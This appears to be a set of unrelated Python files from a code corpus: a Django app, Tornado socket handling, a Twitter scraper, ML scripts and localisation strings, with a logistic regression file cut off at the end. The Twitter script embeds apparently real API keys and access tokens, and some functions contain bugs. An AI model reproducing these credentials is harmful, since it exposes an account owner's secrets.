self._reduce_dimension(\n self._query_compiler.sq_mad_custom(\n axis=axis, skipna=skipna, level=level, **kwargs\n )\n )\n\npd.DataFrame.sq_mad_custom = sq_mad_func\n\nmodin_mad_custom = df.sq_mad_custom()\n \"\"\"\n\n _replace_str(nb, \"modin_mad_custom = ...\", user_mad_implementation)\n\n nbformat.write(nb, modified_notebook_path)\n # need to update example, `.mad` doesn't exist\n # _execute_notebook(modified_notebook_path)\n\n\n# this notebook works \"as is\" but for testing purposes we can use smaller dataset\ndef test_exercise_4():\n modified_notebook_path = os.path.join(local_notebooks_dir, \"exercise_4_test.ipynb\")\n nb = nbformat.read(\n os.path.join(local_notebooks_dir, \"exercise_4.ipynb\"),\n as_version=nbformat.NO_CONVERT,\n )\n\n s3_path_cell = f's3_path = \"{test_dataset_path}\"\\n' + download_taxi_dataset\n _replace_str(\n nb,\n 's3_path = \"s3://dask-data/nyc-taxi/2015/yellow_tripdata_2015-01.csv\"',\n s3_path_cell,\n )\n\n nbformat.write(nb, modified_notebook_path)\n _execute_notebook(modified_notebook_path)\n","sub_path":"examples/tutorial/jupyter/execution/pandas_on_unidist/test/test_notebooks.py","file_name":"test_notebooks.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"400448491","text":"import string\nfrom datetime import date\n\nfrom django.db import transaction\n\n\ndef create_codelist(\n *, project, name, coding_system_id, description, methodology, csv_data\n):\n \"\"\"Create a new codelist with a version.\"\"\"\n\n with transaction.atomic():\n cl = project.codelists.create(\n name=name,\n coding_system_id=coding_system_id,\n description=description,\n methodology=methodology,\n )\n create_version(codelist=cl, csv_data=csv_data)\n return cl\n\n\ndef create_version(*, codelist, csv_data):\n \"\"\"Create a new version of a codelist.\n\n There is a race condition in this code, but in practice we're unlikely to\n hit it.\n \"\"\"\n\n base_version_str = str(date.today())\n suffixes = string.ascii_lowercase\n version_strs = [base_version_str] + [f\"{base_version_str}-{s}\" for s in suffixes]\n for version_str in version_strs:\n if not codelist.versions.filter(version_str=version_str).exists():\n return codelist.versions.create(version_str=version_str, csv_data=csv_data)\n raise ValueError(\"E_TOO_MANY_VERSIONS\")\n\n\ndef update_version(*, version, csv_data):\n \"\"\"Update a version.\"\"\"\n\n assert version.is_draft\n version.csv_data = csv_data\n version.save()\n\n\ndef publish_version(*, version):\n \"\"\"Publish a version.\"\"\"\n\n assert version.is_draft\n version.is_draft = False\n version.save()\n","sub_path":"codelists/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"341166696","text":"# -*- coding: utf-8 -*-\nimport crypton.settings\n\nPN = crypton.settings.PROJECT_NAME\n__author__ = 'bogdan'\nfrom django.utils.translation import ugettext as _\n\nsecondary_main_forgot_link = _(u'Восстановление пароля')\nforgot_link_not_found_msg = _(u'Увы! Указанная ссылка для восстановления не найдена ')\nforgot_main_update = _(u'Обновить пароль')\nforgot_main_help_text = _(u\"Введите новый пароль в форме ниже\")\nreset_pwd_success = _(u\"Пароль вашей учетной записи удачно изменен, теперь можете авторизоваться с новыми данными\")\n\npin_confirm_operation_title = _(u\"Введите персональный PIN, для подтверждения операции\")\n\npin_reset_form_title = _(u\"Для получения нового PIN-а, введите текущий\")\nhelp_page = _(u\"Помощь\")\npin_page = _(u\"Страница персонального PIN кода\")\npagetitle_main = _(PN)\npagetitle_home = _(u\"самый простой и дешевый способ купить или продать биткоины в Украине\")\nwithdraw_cancel = _(u\"Вывод отменен\")\nwithdraw_msg_cancel = _(u\"Ваша заявка на вывод отменена, мы рады, что вы остаетесь с нами\")\n\nsecondary_main = _(u\"BTC TRADE UA украинская биржа криптовалют\")\nsecondary_regis = _(u\"Регистрация\")\nsecondary_regis_success = _(u\"Регистрация прошла успешно\")\nsecondary_regis_finish_success = _(u\"Вы успешно активировали свой акаунт\")\nsecondary_regis_finish_error = _(u\"Ссылка активации не активна\")\nsecondary_main_forgot = _(u\"Восстановление пароля\")\nreset_password_title = _(u\"Сбросить пароль\")\ncommon_help_text = _(u\"Внимание, при сбросе пароля устанавливается hold вывода средств на 36 часов\")\nforgot_sending_email_msg = _(u\"На указаный электронный адрес было выслано письмо с новыми данными для авторизации\")\nwithdraw_transfer = _(u\"Отправить\")\nattention_be_aware = _(u\"Будьте внимательны при заполнение реквизитов
\\n\\\nкомиссия согласно условиям вашего банка\")\nwithdraw_title_bank = _(u\"Заявка на вывод банковским переводом\")\nwithdraw_title_liqpay = _(u\"Заявка на вывод через систему liqpay\")\nliqpay_attention_be_aware = _(u\"Будьте внимательны при указание номера счета liqpay\")\nwithdrawing_secondary_main_email_confirmation_title = _(u\"Подтверждение по электронной почте\")\nwithdrawing_sending_email_confirmation = _(\n u\"Код для подтверждения вывода средств был направлен вам на электронный адрес\")\n\nwithdrawing_error = _(u\"Ошибка подтверждения\")\nwithdraw_doesnot_existed = _(u\"Вывод с таким кодом не найден, либо уже в работе, уточняйте вопрос у службы поддержки\")\nwithdraw_ok = _(u\"Вывод подтвержден\")\nwithdraw_msg_ok = _(u\"Ваша заявка на вывод подтверждена, перевод будет осуществлен в ближайшее время\")\np2p_transfer = _(u\"Отправить\")\nemoney_transfer = _(u\"Отправить\")\nemoney_attention_be_aware = _(u\"Будьте внимательны при заполении реквизитов\")\n\np2p_attention_be_aware = _(u\"Будьте внимательны при заполении реквизитов,
\\n\\\nкомиссия для вывода на Карту ПриватБанка 1 %,
\\n\\\nКарта украинского банка 1.3 %,
\\n\\\nКарта зарубежного банка 1,95 дол + 1 %
\\n\\\n\")\nattention_be_aware_crypto = _(u\"Будьте внимательны при заполении реквизитов,
\\n\\\nкомиссия системы данной криптовалюты составляет %s 
\\n\\\n\")\npin_change_title = _(u\"Смена PIN-кода\")\n","sub_path":"crypton/my_messages.py","file_name":"my_messages.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"532701395","text":"\"\"\"\r\nPredict if the fundus photographs is field2.\r\n\r\nUsage:\r\n predict field2 [options] --output [ ...]\r\n\r\nOptions:\r\n --output= Specify the output file name.\r\n --model= Field2 model. [default: areds1]\r\n --verbose Print more information about progress.\r\n --file-list= File list.\r\n\"\"\"\r\nimport csv\r\nimport logging\r\n\r\nimport numpy as np\r\nimport tqdm\r\nfrom PIL import Image, ImageChops\r\n\r\nfrom examples.utils import parse_args\r\nfrom deepseenet.eyesnet_f2 import preprocess_image, EyesNetField2, get_field\r\nfrom deepseenet.utils import pick_device\r\n\r\n\r\ndef is_greyscale(image_path):\r\n \"\"\"\r\n Check if image is monochrome (1 channel or 3 identical channels)\r\n \"\"\"\r\n im = Image.open(image_path)\r\n if im.mode not in (\"L\", \"RGB\"):\r\n raise ValueError(\"Unsupported image mode\")\r\n\r\n if im.mode == \"RGB\":\r\n rgb = im.split()\r\n if ImageChops.difference(rgb[0], rgb[1]).getextrema()[1] != 0:\r\n return False\r\n if ImageChops.difference(rgb[0], rgb[2]).getextrema()[1] != 0:\r\n return False\r\n return True\r\n\r\n\r\nif __name__ == '__main__':\r\n argv = parse_args(__doc__)\r\n\r\n pick_device()\r\n\r\n clf = EyesNetField2(argv['--model'])\r\n\r\n if argv['--file-list'] is not None:\r\n with open(argv['--file-list']) as fp:\r\n files = [line.strip() for line in fp]\r\n else:\r\n files = argv['']\r\n\r\n with open(argv['--output'], 'w') as fp:\r\n writer = csv.writer(fp, lineterminator='\\n')\r\n writer.writerow(['file', 'field', '0', '1'])\r\n for file in tqdm.tqdm(files):\r\n logging.debug('Process %s', file)\r\n try:\r\n if is_greyscale(file):\r\n score = np.asarray([[0, 1]])\r\n else:\r\n x = preprocess_image(file)\r\n score = clf.predict(x, verbose=1 if argv['--verbose'] else 0)\r\n writer.writerow([file, get_field(score)] + [str(a) for a in np.nditer(score)])\r\n except:\r\n logging.exception('Cannot process %s', file)\r\n","sub_path":"examples/predict_field2.py","file_name":"predict_field2.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"46069330","text":"## This code will run a SQL script against Big Query and export the results as a CSV to specified location\n\nimport pandas as pd\nfrom datetime import datetime as dt\n\n#######################\n### INPUT VARIABLES ###\n#######################\n\n## Specify filename \nfilename = 'NPSSurvey_'\n\n## Dateime to add to the filname\ndatetime = dt.now().strftime(\"%Y%m%d%H%M%S\")\n\n## Location to export the CSV to\npath = 'C:\\\\NPS Output\\\\{}.csv'.format(filename,datetime)\n\n## sql query to run, paste between the multi row quotes\nsql_code = \"\"\"\nSELECT * \nFROM `data-science-retail.nps_secure.current_nps_sample`\n\"\"\"\n\n###################\n### DOING STUFF ###\n###################\n\n## This rund the code saved to variable sql_code. think about replacing project_id with a variable\ndf = pd.read_gbq(sql_code,\n project_id = 'data-science-retail',\n dialect = 'standard')\n\n## This saves the results of the code to the specified path\ndf.to_csv(path,\n index = False)\n","sub_path":"Codecademy Lesson Notes/Unformatted Notes/run_sql_download_as_csv.py","file_name":"run_sql_download_as_csv.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"429211394","text":"from __future__ import absolute_import, division, print_function,\\\n with_statement\n\nimport copy\nimport threading\nimport collections\nimport errno\nimport socket\nimport ssl\n\nfrom tornado import ioloop\nfrom tornado.log import gen_log\nfrom tornado.netutil import ssl_wrap_socket, ssl_match_hostname, \\\n SSLCertificateError\nfrom tornado import stack_context\n\nfrom datetime import timedelta\n\ntry:\n from tornado.platform.posix import _set_nonblocking\nexcept ImportError:\n _set_nonblocking = None\n\n# These errnos indicate that a non-blocking operation must be retried\n# at a later time. On most platforms they're the same value, but on\n# some they differ.\n_ERRNO_WOULDBLOCK = (errno.EWOULDBLOCK, errno.EAGAIN)\n\n# These errnos indicate that a connection has been abruptly terminated.\n# They should be caught and handled less noisily than other errors.\n_ERRNO_CONNRESET = (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE)\n\n# Nice constant for enabling debug output\n_SHOULD_LOG_DEBUG_OUTPUT = gen_log.isEnabledFor('DEBUG')\n\n# Sharable thread local instance\n_THREAD_LOCAL = threading.local()\n\n# Constants from the epoll module\n_EPOLLIN = 0x001\n_EPOLLPRI = 0x002\n_EPOLLOUT = 0x004\n_EPOLLERR = 0x008\n_EPOLLHUP = 0x010\n_EPOLLRDHUP = 0x2000\n_EPOLLONESHOT = (1 << 30)\n_EPOLLET = (1 << 31)\n\n# Our events map exactly to the epoll events\nNONE = 0\nREAD = _EPOLLIN\nWRITE = _EPOLLOUT\nERROR = _EPOLLERR | _EPOLLHUP\n\n\ndef _is_connect_error(ex):\n error = ex.args[0]\n return error != errno.EINPROGRESS and error not in _ERRNO_WOULDBLOCK\n\n\ndef ssl_wrap_socket(schannel, address, options=None, remote_host=None):\n # Wrap the socket using the Pyhton SSL socket library\n schannel._socket = ssl_wrap_socket(\n socket=schannel._socket,\n ssl_options=options,\n server_hostname=remote_host,\n do_handshake_on_connect=False)\n\n\nclass ChannelError(IOError):\n pass\n\n\nclass ChannelEventHandler(object):\n\n def on_accept(self, new_channel):\n pass\n\n def on_close(self, channel):\n pass\n\n def on_error(self, channel):\n pass\n\n def on_connect(self, channel):\n pass\n\n def on_read(self, channel, message):\n pass\n\n def on_send(self, channel, message):\n pass\n\n\nclass Channel(object):\n\n def set_handler(self, event_handler):\n raise NotImplementedError()\n\n def remove_handler(self):\n raise NotImplementedError()\n\n def recv(self, bufsize):\n raise NotImplementedError()\n\n def recv_into(self, buffer, nbytes=0):\n raise NotImplementedError()\n\n def send(self, data):\n raise NotImplementedError()\n\n def flush(self):\n raise NotImplementedError()\n\n def close(self):\n raise NotImplementedError()\n\n def closed(self):\n raise NotImplementedError()\n\n def error(self):\n raise NotImplementedError()\n\n\nclass FileDescriptorChannel(Channel):\n\n def __init__(self, fileno, io_loop=None):\n assert fileno is not None\n\n self.fileno = fileno\n self._io_loop = io_loop or ioloop.IOLoop.current()\n self._event_interests = ERROR\n\n # Is there a handler set?\n self._has_handler = False\n\n def set_handler(self, event_handler):\n \"\"\"initialize the ioloop event handler\"\"\"\n assert event_handler is not None and callable(event_handler)\n\n if self.closed():\n raise ChannelError('Channel closed.')\n\n if self._has_handler:\n raise ChannelError('Channel already has a handler set.')\n\n # Mark that we have a handler now\n self._has_handler = True\n\n with stack_context.NullContext():\n self._io_loop.add_handler(\n self.fileno, event_handler, self._event_interests)\n\n def remove_handler(self):\n self._io_loop.remove_handler(self.fileno)\n self._event_interests = ERROR\n self._has_handler = False\n\n def errors_enabled(self):\n return self._event_interests & ERROR\n\n def reads_enabled(self):\n return self._event_interests & READ\n\n def writes_enabled(self):\n return self._event_interests & WRITE\n\n def disable_errors(self):\n \"\"\"\n Alias for removing the error interest from the event handler.\n \"\"\"\n if _SHOULD_LOG_DEBUG_OUTPUT:\n gen_log.debug('Halting error events for stream(fd:{})'.format(\n self.fileno))\n self._drop_event_interest(ERROR)\n\n def disable_reads(self):\n \"\"\"\n Alias for removing the read interest from the event handler.\n \"\"\"\n if _SHOULD_LOG_DEBUG_OUTPUT:\n gen_log.debug('Halting read events for stream(fd:{})'.format(\n self.fileno))\n self._drop_event_interest(READ)\n\n def disable_writes(self):\n \"\"\"\n Alias for removing the send interest from the event handler.\n \"\"\"\n if _SHOULD_LOG_DEBUG_OUTPUT:\n gen_log.debug('Halting write events for stream(fd:{})'.format(\n self.fileno))\n self._drop_event_interest(WRITE)\n\n def enable_errors(self):\n \"\"\"\n Alias for adding the error interest from the event handler.\n \"\"\"\n if _SHOULD_LOG_DEBUG_OUTPUT:\n gen_log.debug('Resuming error events for stream(fd:{})'.format(\n self.fileno))\n self._add_event_interest(ERROR)\n\n def enable_reads(self):\n \"\"\"\n Alias for adding the read interest to the event handler.\n \"\"\"\n if _SHOULD_LOG_DEBUG_OUTPUT:\n gen_log.debug('Resuming read events for stream(fd:{})'.format(\n self.fileno))\n self._add_event_interest(READ)\n\n def enable_writes(self):\n \"\"\"\n Alias for adding the send interest to the event handler.\n \"\"\"\n if _SHOULD_LOG_DEBUG_OUTPUT:\n gen_log.debug('Resuming write events for stream(fd:{})'.format(\n self.fileno))\n self._add_event_interest(WRITE)\n\n def _add_event_interest(self, event_interest):\n \"\"\"Add io_state to poller.\"\"\"\n if not self._event_interests & event_interest:\n self._event_interests = self._event_interests | event_interest\n self._io_loop.update_handler(self.fileno, self._event_interests)\n\n def _drop_event_interest(self, event_interest):\n \"\"\"Stop poller from watching an io_state.\"\"\"\n if self._event_interests & event_interest:\n self._event_interests = self._event_interests & ~event_interest\n self._io_loop.update_handler(self.fileno, self._event_interests)\n\n\nclass SocketChannel(FileDescriptorChannel):\n\n def __init__(self, sock, address=None, io_loop=None):\n super(SocketChannel, self).__init__(sock.fileno(), io_loop)\n\n # State tracking\n self.address = address\n self.connecting = False\n self.listening = False\n\n # Set important socket options\n self._socket = sock\n self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self._socket.setblocking(0)\n\n # Send buffer management\n self._send_idx = 0\n self._send_len = 0\n self._send_data = None\n\n @classmethod\n def Listen(cls, address, family=socket.AF_UNSPEC, backlog=128, io_loop=None):\n new_channel = SocketChannel(socket.socket(family), address, io_loop)\n new_channel.listen(address)\n return new_channel\n\n @classmethod\n def Connect(cls, address, family=socket.AF_UNSPEC, io_loop=None):\n new_channel = SocketChannel(socket.socket(family), address, io_loop)\n new_channel.connect(address)\n return new_channel\n\n def accept(self):\n new_sock, addr = self._socket.accept()\n return SocketChannel(new_sock, addr, self._io_loop)\n\n def connect(self, address):\n self._socket.connect(address)\n self.connecting = True\n\n def listen(self, address, backlog=128):\n self._socket.bind(address)\n self._socket.listen(backlog)\n self.listening = True\n\n def connect_socket(socket_channel, address):\n try:\n socket_channel._socket.connect(address)\n except socket.error as ex:\n if _is_connect_error(ex):\n raise\n\n def has_queued_send(self):\n return self._send_idx < self._send_len\n\n def recv(self, bufsize):\n return self._socket.recv(bufsize)\n\n def recv_into(self, buffer, nbytes=0):\n return self._socket.recv_into(buffer, nbytes)\n\n def send(self, data):\n if self.has_queued_send():\n raise ChannelError('Not yet finished sending the previous data')\n\n self._send_idx = 0\n self._send_len = len(data)\n self._send_data = data\n\n def flush(self):\n if self.has_queued_send():\n written = self._socket.send(self._send_data[self._send_idx:])\n self._send_idx += written\n return not self.has_queued_send()\n\n def closed(self):\n return self._socket is None\n\n def close(self):\n if not self.closed():\n self._socket.close()\n self._socket = None\n\n if self._has_handler:\n self.remove_handler()\n\n def error(self):\n self._socket.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR)\n\n def __str__(self):\n return '(fd:{}) SocketChannel(addr:{})'.format(\n self.fileno, self._socket.getsockname())\n\n\nclass ManagedChannel(object):\n\n def __init__(self, channel):\n self.closing = False\n self.was_reading = False\n\n self.actual_channel = channel\n self._send_queue = collections.deque()\n\n def close(self):\n # Try not to close twice\n if not self.closing and not self.closed():\n self.closing = True\n self.disable_reads()\n\n if self.has_queued_send():\n # We need to flush everything before closing\n self.enable_writes()\n else:\n # If there's nothing left to flush close ASAP\n self.actual_channel.close()\n\n def release_send_queue(self):\n queue_ref = self._send_queue\n self._send_queue = collections.deque()\n return queue_ref\n\n def has_queued_send(self):\n return len(self._send_queue) > 0\n\n def send(self, data):\n if self.closing:\n raise ChannelError('Channel closing. Sends are not allowed at this time')\n\n self._send_queue.append(data)\n\n def flush(self):\n flushed = False\n\n if self.actual_channel.flush():\n if len(self._send_queue) > 0:\n self.actual_channel.send(self._send_queue.popleft())\n else:\n flushed = True\n return flushed\n\n def __getattr__(self, name):\n if name == 'flush':\n return self.flush\n elif name == 'send':\n return self.send\n elif hasattr(self.actual_channel, name):\n return getattr(self.actual_channel, name)\n\n return AttributeError('No attribute named: {}.'.format(name))\n\n\nclass ChannelEventRouter(object):\n\n def __init__(self, event_handler=None, io_loop=None, read_chunk_size=4096):\n self._io_loop = io_loop or ioloop.IOLoop.current()\n self._eh = event_handler or ChannelEventHandler()\n self._read_chunk_size = read_chunk_size\n\n _THREAD_LOCAL.read_buffer = bytearray(self._read_chunk_size)\n\n def set_event_handler(self, event_handler):\n self._eh = event_handler\n\n def register(self, channel):\n mchan = ManagedChannel(channel)\n\n # This closure makes life a lot easier\n def on_events(fd, events):\n # Read and writes only check to see if the socket has been\n # reclaimed.\n if not mchan.closing and events & READ:\n if mchan.listening:\n self.on_accept(mchan)\n elif mchan.connecting:\n self.on_connect(mchan)\n else:\n self.on_read(mchan)\n\n if events & WRITE:\n if mchan.connecting:\n self.on_connect(mchan)\n else:\n self.on_write_ready(mchan)\n\n if events & ERROR:\n self._eh.on_error(mchan)\n\n if mchan.closing and not mchan.has_queued_send():\n self.on_close(mchan)\n\n # Use our new closure to handle events and initial routing\n channel.set_handler(on_events)\n\n def on_close(self, channel):\n # Close the actual channel\n channel.actual_channel.close()\n\n # Let the event handler know that the channel's gone\n self._eh.on_close(channel)\n\n def on_accept(self, channel):\n new_channel = channel.accept()\n self.register(new_channel)\n self._eh.on_accept(new_channel)\n\n def on_connect(self, channel):\n self._eh.on_connect(channel)\n channel.connecting = False\n\n def on_read(self, channel):\n read = _THREAD_LOCAL.read_buffer\n bytes_received = channel.recv_into(read, self._read_chunk_size)\n\n if bytes_received > 0:\n try:\n self._eh.on_read(channel, read[:bytes_received])\n finally:\n if channel.has_queued_send():\n # We disable further reads to maintain that writes\n # happen in a serial manner\n if channel.reads_enabled():\n channel.disable_reads()\n channel.was_reading = True\n\n # Process the write chain\n self.schedule(\n callback=self._send,\n channel=channel,\n send_queue=channel.release_send_queue())\n else:\n # Zero bytes means client hangup\n self.schedule(\n callback=self.on_close,\n channel=channel)\n\n def on_write_ready(self, channel):\n if channel.flush():\n channel.disable_writes()\n\n # If reading before sending data out resume reads\n if channel.was_reading:\n channel.was_reading = False\n channel.enable_reads()\n\n def _send(self, channel, send_queue):\n if len(send_queue) > 0:\n self._eh.on_send(channel, send_queue.popleft())\n self.schedule(\n callback=self._send,\n channel=channel,\n send_queue=send_queue)\n else:\n # We're done processing what was in the queue so let's flush it\n channel.enable_writes()\n\n def schedule(self, callback, *args, **kwargs):\n \"\"\"Wrap running callbacks in try/except to allow us to\n close our socket.\"\"\"\n\n channel = kwargs['channel']\n\n if channel is None:\n raise TypeError('Channel argument must be specified for callbacks')\n\n def _callback_wrapper():\n try:\n # Use a NullContext to ensure that all StackContexts are run\n # inside our blanket exception handler rather than outside.\n with stack_context.NullContext():\n callback(*args, **kwargs)\n except Exception as ex:\n gen_log.error(\"Uncaught exception: %s\", ex)\n\n # Close the socket on an uncaught exception from a user callback\n # (It would eventually get closed when the socket object is\n # gc'd, but we don't want to rely on gc happening before we\n # run out of file descriptors)\n channel.close()\n\n # Re-raise the exception so that IOLoop.handle_callback_exception\n # can see it and log the error\n raise\n\n # Add the callback\n self._io_loop.add_callback(_callback_wrapper)\n","sub_path":"pyrox/iohandling.py","file_name":"iohandling.py","file_ext":"py","file_size_in_byte":15753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"340595068","text":"\"\"\"Task 2:\nNext Version\nYou're fed up about changing the version of your software manually.\nInstead, you will create a little script that will make it for you.\nExercice\nCreate a function nextVersion, that will take a string in parameter,\nand will return a string containing the next version number.\nFor example:\nnextVersion(\"1.2.3\") === \"1.2.4\";\nnextVersion(\"0.9.9\") === \"1.0.0\";\nnextVersion(\"1\") === \"2\";\nnextVersion(\"1.2.3.4.5.6.7.8\") === \"1.2.3.4.5.6.7.9\";\nnextVersion(\"9.9\") === \"10.0\";\nRules\nAll numbers, except the first one, must be lower than 10:\nif there are, you have to set them to 0 and increment the next number in sequence.\n\"\"\"\n\n\nversion = input('Enter version number: ')\n\n\ndef next_version(version):\n \"\"\"Return a string containing the next version number.\"\"\"\n list_version = list(map(int, version.split('.')))\n slicE = len(str(list_version[0]))\n\n version = version.replace('.', '')\n next_version = str(int(version) + 1)\n\n if len(version) < len(next_version): \n result = next_version[:slicE] + '.'.join(next_version[slicE:])\n elif list_version[0] > 9 and len(version) == len(next_version):\n slicE -= 1\n result = next_version[:slicE] + '.'.join(next_version[slicE:])\n else:\n result = '.'.join(next_version)\n return 'Next version: ' + result\n\n\nprint(next_version(version))\n","sub_path":"Les_06/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"53103958","text":"import tweepy\nimport csv\nimport os\n\ndirname = os.path.dirname(__file__)\n\n# Twitter API credentials\nconsumer_key = \"cqCJE5WMcUQ0mJ0D141cDnsPs\"\nconsumer_secret = \"hnuIWr3aoStiJCIgxjhLoO3cVSb8qPsmwfsioVeLNVb4N3M8sR\"\naccess_key = \"3018072521-1uwUUzdrUOkW5wn0KhBp2u9JeneSsyLcQ2KeMN4\"\naccess_secret = \"qRr8j8rDsutbEftqfnEM5CQOyfJUnW902XQU8iNEma8lw\"\n\n\ndef get_all_tweets(screen_name):\n # Twitter only allows access to a users most recent 3240 tweets with this method\n\n # authorize twitter, initialize tweepy\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_key, access_secret)\n api = tweepy.API(auth)\n\n # initialize a list to hold all the tweepy Tweets\n alltweets = []\n\n # make initial request for most recent tweets (200 is the maximum allowed count)\n new_tweets = api.user_timeline(screen_name=screen_name, count=200, include_entities=True, tweet_mode='extended')\n\n # save most recent tweets\n alltweets.extend(new_tweets)\n\n # save the id of the oldest tweet less one\n oldest = alltweets[-1].id - 1\n\n # keep grabbing tweets until there are no tweets left to grab\n while len(new_tweets) > 0:\n print\n \"getting tweets before %s\" % (oldest)\n\n # all subsiquent requests use the max_id param to prevent duplicates\n new_tweets = api.user_timeline(screen_name=screen_name, count=200, max_id=oldest, include_entities=True,\n tweet_mode='extended')\n\n # save most recent tweets\n alltweets.extend(new_tweets)\n\n # update the id of the oldest tweet less one\n oldest = alltweets[-1].id - 1\n\n print\n \"...%s tweets downloaded so far\" % (len(alltweets))\n\n user = api.get_user(screen_name)\n followers_count = user.followers_count\n\n # # transform the tweepy tweets into a 2D array that will populate the csv\n outtweets = [[tweet.id_str, tweet.created_at, tweet.text, 1 if 'media' in tweet.entities else 0,\n 1 if tweet.entities.get('hashtags') else 0, followers_count, tweet.retweet_count, tweet.favorite_count]\n for tweet in alltweets]\n\n # write the csv\n with open(os.path.join(dirname, '../../data/tweets.csv'), mode='a', encoding='utf-8') as f:\n writer = csv.writer(f)\n writer.writerows(outtweets)\n\n pass\n\n return None\n","sub_path":"MakeViral/src/get_data/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"552778385","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport sys\r\nimport random as rd\r\n\r\n#insert an all-one column as the first column\r\ndef addAllOneColumn(matrix):\r\n n = matrix.shape[0] #total of data points\r\n p = matrix.shape[1] #total number of attributes\r\n \r\n newMatrix = np.zeros((n,p+1))\r\n newMatrix[:,0] = np.ones(n)\r\n newMatrix[:,1:] = matrix\r\n\r\n \r\n return newMatrix\r\n \r\n# Reads the data from CSV files, converts it into Dataframe and returns x and y dataframes\r\ndef getDataframe(filePath):\r\n dataframe = pd.read_csv(filePath)\r\n y = dataframe['y']\r\n x = dataframe.drop('y', axis=1)\r\n return x, y\r\n\r\n# sigmoid function\r\ndef sigmoid(z):\r\n return 1 / (1 + np.exp(-z)) \r\n\r\n# compute average logL\r\ndef compute_avglogL(X,y,beta):\r\n eps = 1e-50\r\n n = y.shape[0]\r\n ########## Please Fill Missing Lines Here ##########\r\n avglogL = 0\r\n for i in range(n):\r\n exp = np.exp(np.dot(X[i], beta))\r\n log = np.log (eps + 1 + exp)\r\n inner_product = np.dot(-1 * y[i], X[i])\r\n product = np.dot(inner_product, beta)\r\n avglogL = avglogL + product + log\r\n avglogL = avglogL / n\r\n ####################################################\r\n return avglogL\r\n \r\n# predicted_y and y are the predicted and actual y values respectively as numpy arrays\r\n# function prints the accuracy\r\ndef compute_accuracy(predicted_y, y):\r\n acc = 100.0\r\n acc = np.sum(predicted_y == y)/predicted_y.shape[0]\r\n return acc\r\n \r\n# train_x and train_y are numpy arrays\r\n# lr (learning rate) is a scalar\r\n# function returns value of beta calculated using (0) batch gradient descent\r\ndef getBeta_BatchGradient(train_x, train_y, lr, num_iter, verbose):\r\n beta = np.random.rand(train_x.shape[1])\r\n\r\n n = train_x.shape[0] #total of data points\r\n p = train_x.shape[1] #total number of attributes\r\n\r\n \r\n beta = np.random.rand(p)\r\n #update beta interatively\r\n for iter in range(0, num_iter):\r\n ########## Please Fill Missing Lines Here ##########\r\n sigm = sigmoid(np.dot(train_x, beta))\r\n subtract = sigm - train_y\r\n deriv = (np.dot(train_x.transpose(), subtract))/n\r\n \r\n beta = beta - deriv.dot(lr)\r\n ####################################################\r\n \r\n if(verbose == True and iter % 1000 == 0):\r\n avgLogL = compute_avglogL(train_x, train_y, beta)\r\n print(f'average logL for iteration {iter}: {avgLogL} \\t')\r\n return beta\r\n \r\n# train_x and train_y are numpy arrays\r\n# function returns value of beta calculated using (1) Newton-Raphson method\r\ndef getBeta_Newton(train_x, train_y, num_iter, verbose):\r\n n = train_x.shape[0] #total of data points\r\n p = train_x.shape[1] #total number of attributes\r\n\r\n beta = np.random.rand(p)\r\n ########## Please Fill Missing Lines Here ##########\r\n #update beta interatively\r\n for iter in range(num_iter):\r\n sigm = sigmoid(np.dot(train_x, beta))\r\n subtract = train_y - sigm\r\n deriv = (np.dot(train_x.transpose(), subtract))/n\r\n product = np.dot(train_x.transpose(), train_x)\r\n mult = np.dot(sigm, (1- sigm))\r\n hes = -1 * np.dot( product, mult)/n\r\n dim = hes.shape[0]\r\n singular = np.identity(dim)\r\n\r\n beta = beta - np.dot(np.linalg.inv(hes + (0.001*singular)), deriv)\r\n ####################################################\r\n \r\n if(verbose == True and iter % 1000 == 0):\r\n avgLogL = compute_avglogL(train_x, train_y, beta)\r\n print(f'average logL for iteration {iter}: {avgLogL} \\t')\r\n return beta\r\n \r\n\r\n \r\n# Linear Regression implementation\r\nclass LogisticRegression(object):\r\n # Initializes by reading data, setting hyper-parameters, and forming linear model\r\n # Forms a linear model (learns the parameter) according to type of beta (0 - batch gradient, 1 - Newton-Raphson)\r\n # Performs z-score normalization if isNormalized is 1\r\n # Print intermidate training loss if verbose = True\r\n def __init__(self,lr=0.005, num_iter=10000, verbose = True):\r\n self.lr = lr\r\n self.num_iter = num_iter\r\n self.verbose = verbose\r\n self.train_x = pd.DataFrame() \r\n self.train_y = pd.DataFrame()\r\n self.test_x = pd.DataFrame()\r\n self.test_y = pd.DataFrame()\r\n self.algType = 0\r\n self.isNormalized = 0\r\n \r\n\r\n def load_data(self, train_file, test_file):\r\n self.train_x, self.train_y = getDataframe(train_file)\r\n self.test_x, self.test_y = getDataframe(test_file)\r\n \r\n def normalize(self):\r\n # Applies z-score normalization to the dataframe and returns a normalized dataframe\r\n self.isNormalized = 1\r\n data = np.append(self.train_x, self.test_x, axis = 0)\r\n means = data.mean(0)\r\n std = data.std(0)\r\n self.train_x = (self.train_x - means).div(std)\r\n self.test_x = (self.test_x - means).div(std)\r\n \r\n # Gets the beta according to input\r\n def train(self, algType):\r\n self.algType = algType\r\n newTrain_x = addAllOneColumn(self.train_x.values) 